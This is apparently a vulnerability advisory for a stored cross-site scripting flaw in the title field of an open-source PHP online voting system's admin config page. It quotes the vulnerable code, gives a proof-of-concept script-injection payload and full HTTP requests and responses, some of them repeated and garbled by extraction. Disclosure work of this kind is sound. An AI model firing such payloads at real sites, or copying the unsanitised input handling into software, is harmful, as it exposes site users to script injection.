

XSS injection vulnerability exists in title parameter of /admin/config_save.php file of Advanced Online Voting System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner. Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

```
4     $return = 'home.php';
5     if(isset($_GET['return'])) {
6         $return = $_GET['return'];
7     }
8
9     if(isset($_POST['save'])) {
10        $title = $_POST['title'];
11
12        $file = 'config.ini';
13        $content = 'election_title = '.$title;
14
15        file_put_contents($file, $content);
16
17        $_SESSION['success'] = 'Election title updated successfully';
18    }
19    else {
20        $_SESSION['error'] = "Fill up config form first";
21    }
22
23    header('location: '.$return);
24
25
```

Request	Response
<pre>POST /votesystem/admin/config_save.php?return=home.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.19.1/votesystem/ Cookie: PHPSESSID=ba8bm2s7rpqfkpeu98jq775tn Content-Length: 80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Host: 192.168.19.1 Connection: Keep-alive save=title= 2021%20SSG%20Elections' "()%26%25<zzz><ScRiPt%20>alert(9271)</ScRiPt></pre>	<pre>1 HTTP/1.1 302 Found 2 Date: Thu, 13 Apr 2023 14:41:19 GMT 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a 4 X-Powered-By: PHP/7.2.9 5 Expires: Thu, 19 Nov 1981 08:52:00 GMT 6 Cache-Control: no-store, no-cache, must-revalidate 7 Pragma: no-cache 8 location: home.php 9 Content-Length: 0 10 Keep-Alive: timeout=5, max=100 11 Connection: Keep-Alive 12 Content-Type: text/html; charset=UTF-8 13 14</pre>

Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 POST /votesystem/admin/config_save.php?return=home.php 2 HTTP/1.1 3 Content-Type: application/x-www-form-urlencoded 4 Referer: http://192.168.19.1/votesystem/ 5 Cookie: PHPSESSID=ba8bm2s7rpqfkpeu98jq775tn 6 Content-Length: 80 7 Accept: 8 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 9 Accept-Encoding: gzip,deflate,br 10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 11 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 12 Safari/537.36 13 Host: 192.168.19.1 14 Connection: Keep-alive 15 16 save=title= 17 2021%20SSG%20Elections'()%26%25<zzz><ScRiPt%20>alert(927 18 1)</ScRiPt> </pre>		<pre> 1 HTTP/1.1 302 Found 2 Date: Thu, 13 Apr 2023 14:41:19 GMT 3 Server: Apache/2.4.39 (win64) OpenSSL/1.1.1b 4 mod_fcgid/2.3.9a 5 X-Powered-By: PHP/7.2.9 6 Expires: Thu, 19 Nov 1981 08:52:00 GMT 7 Cache-Control: no-store, no-cache, must-revalidate 8 Pragma: no-cache 9 location: home.php 10 Content-Length: 0 11 Keep-Alive: timeout=5, max=100 12 Connection: Keep-Alive 13 14 Content-Type: text/html; charset=UTF-8 </pre>	

The screenshot shows the Burp Suite interface with a GET request to `/votesystem/admin/home.php`. The response is an HTML page with a form. The payload `2021%20SSG%20Elections'()%26%25<zzz><ScRiPt%20>alert(9271)</ScRiPt>` is visible in the response, injected into the title field of a form control.

Payload:

title=2021%20SSG%20Elections'()%26%25<zzz><ScRiPt%20>alert(9271)</ScRiPt>

HTTP requests:

...

POST /votesystem/admin/config_save.php?return=home.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.19.1/votesystem/

Cookie: PHPSESSID=ba8bm2s7rpqfkpeu98jq775tn

Content-Length: 80

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/108.0.0.0 Safari/537.36

Host: 192.168.19.1

Connection: Keep-alive

save=&title=2021%20SSG%20Elections'")%26%25<zzz><ScRiPt%20>alert(9271)</ScRiPt>
'''

Source Download:

<https://www.campcodes.com/projects/php/online-voting-system-in-php/>